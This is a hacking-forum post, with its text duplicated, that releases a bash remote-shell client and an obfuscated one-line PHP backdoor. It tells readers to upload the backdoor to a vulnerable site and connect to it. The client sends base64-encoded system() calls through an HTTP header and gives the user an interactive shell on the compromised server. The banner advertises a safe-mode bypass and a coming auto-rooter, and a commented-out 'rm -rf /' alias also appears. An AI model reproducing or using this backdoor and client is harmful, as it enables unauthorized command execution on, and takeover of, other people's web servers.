Hello Hack Forums Members
Today Im releasing my bash shell Its called " Sp0k3n H00d3d Shell "
Review of the shell script
How to use :
First run the script by
Every thing after running the script is so obviouse for you all , so i wont explain much more
How it works ?
Answer : Upload the php back door to the server , Then Connect it via the bash shell like
Then every thing will be done auto !
Credits goes to :
1-Mr.Green - Updating <3
2-Th3Breach3r - Helping <3
3-Zer0Freak - Helping <3
Shout outs : Zentrixplus , MCA , Volcan , moqane , DownFall , And all of those mentioned above !
Shell script :
PHP Back Door
Thanks for viewing !
Today Im releasing my bash shell Its called " Sp0k3n H00d3d Shell "
Review of the shell script
How to use :
First run the script by
Code
./shellname.shEvery thing after running the script is so obviouse for you all , so i wont explain much more
How it works ?
Answer : Upload the php back door to the server , Then Connect it via the bash shell like
Code
./shellname.sh -u http://vulnsite.com/backdoor.phpThen every thing will be done auto !
Credits goes to :
1-Mr.Green - Updating <3
2-Th3Breach3r - Helping <3
3-Zer0Freak - Helping <3
Shout outs : Zentrixplus , MCA , Volcan , moqane , DownFall , And all of those mentioned above !
Shell script :
Code
#Coders : UnSp0k3n , MrGreen(Hood3dRobin)
#! /usr/bin/env bash
# alias lool="rm -rf /";
#Temp Dir & File to work with as needed
JUNK=/tmp
STORAGE1=$(mktemp -p "$JUNK" -t fooooobar1.tmp.XXX)
#Trap Interupts and exit cleanly
trap bashtrap INT
function bashtrap(){
echo
echo
echo 'CTRL+C has been detected!.....shutting down now' | grep --color 'CTRL+C has been detected!.....shutting down now'
#exit entire script if called, add cleanup code here if needed...
rm -f $STORAGE1 2> /dev/null
exit 666;
}
#Make function for banner so we can re-use as needed
function banner(){
clear
echo "++++++++++++++++++++++++++++++++++++++++++++++++++++++" | grep --color '+'
echo "+ +" | grep --color '+'
echo "+ Spoken Hooded Shell V1 +" | grep --color '+'
echo "+ +" | grep --color '+'
echo "+ By UnSp0k3n & MrGreen +" | grep --color '+'
echo "+ +" | grep --color '+'
echo "+ Shout Outs: ZentrixPlus, MCA, MrGreen, +" | grep --color '+'
echo "+ DownFall , Zer0Freak, Volcan, moqane +" | grep --color '+'
echo "+ +" | grep --color '+'
echo "+ V1: Includes : Safe mode bypass , Code executing +" | grep --color '+'
echo "+ +" | grep --color '+'
echo "+ V2( Will Include ) : AutoR00ter +" | grep --color '+'
echo "+ +" | grep --color '+'
echo "++++++++++++++++++++++++++++++++++++++++++++++++++++++" | grep --color '+'
echo
}
#help menu for those who can't RTFM :P
function usage(){
banner
#################################
echo "Usage: " | grep --color 'Usage'
echo "$0 [OPTIONS]" | grep --color -E '\[||\]'
echo
echo "Options: " | grep --color 'Options'
echo " --help"
echo " -u <SHELLURL>"
echo
echo "Example: " | grep --color 'Example'
echo " $0 -u http://vulnsite.com/shell.php"
echo " $0 --url http://vulnsite.com/forum/search=faq.php"
#################################
echo
exit 0;
}
function shellCheck(){
banner
echo
echo "Checking provided URL to confirm Shell interaction....." | grep --color 'Checking provided URL to confirm Shell interaction'
#Send basic request for 'system('id');' to confirm things are working:
curl -s $target -H "CMD: c3lzdGVtKCdpZCcpOwo=" -o $STORAGE1
grep -i "UID" $STORAGE1 2> /dev/null 2>&1
if [ "$?" == 0 ]; then
#We passed the confirmation test, drop to simulated shell now....
shellTime
else
echo "Can't seem to communicate with shell, better try manually or check the provided target link. Sorry....."
echo
echo
exit 68; #so close :P
fi
}
function shellTime(){
echo
echo "Site is up and Shell is communicating! Dropping to shell....." | grep --color -E 'Site is up and Shell is communicating||Dropping to shell'
#Gather some quick info to greet our user with for shell environment....
currentID=$(cat "$STORAGE1")
curl -s $target -H "CMD: c3lzdGVtKCdwd2QnKTsK" -o $STORAGE1
currentDir=$(cat "$STORAGE1")
curl -s $target -H "CMD: c3lzdGVtKCd1bmFtZSAtYW1yJyk7Cg==" -o $STORAGE1
currentBuild=$(cat "$STORAGE1")
echo
echo "Current ID: $currentID" | grep --color 'Current ID'
echo "Build Info: $currentBuild" | grep --color 'Build Info'
echo "Working Dir: $currentDir" | grep --color 'Working Dir'
echo
#Create a endless loop to simulate our shell
while :
do
read -p "OS(shell)> " requested
if [ "$requested" == "exit" ] || [ "$requested" == "EXIT" ] || [ "$requested" == "quit" ] || [ "$requested" == "QUIT" ]; then
echo
echo "OK, shutting things down!" | grep --color -E 'OK||shutting things down'
rm -f $STORAGE1 2> /dev/null
echo
echo "got r00t?" | grep --color 'got r00t'
echo
exit 0; #Clean exit :)
fi
cmd="`echo "system('$requested');" | base64`" #We need to base64 encode our command for our shell to understand it
curl $target -H "CMD: $cmd" -s
echo
done
echo
}
#Main------------------------------------------>
if [ -z "$1" ] || [ "$1" == '-h' ] || [ "$1" == '--help' ]; then
usage
fi
while [ $# -ne 0 ];
do
case $1 in
-u) shift; target="$1"; shift ;;
--url) shift; target="$1"; shift ;;
*) echo "Unknown Parameters provided!" | grep --color 'Unknown Parameters provided'; usage;;
esac;
done
shellCheck
rm -f $STORAGE1 2> /dev/null
#EOFPHP Back Door
Code
<?error_reporting(0);$b=strrev("edoced_4"."6esab");($var=create_function($var,$b($_SERVER[HTTP_CMD])))?$var():0?>Thanks for viewing !
Team INTRA



![[Image: 8Yoto.png]](https://i.imgur.com/8Yoto.png)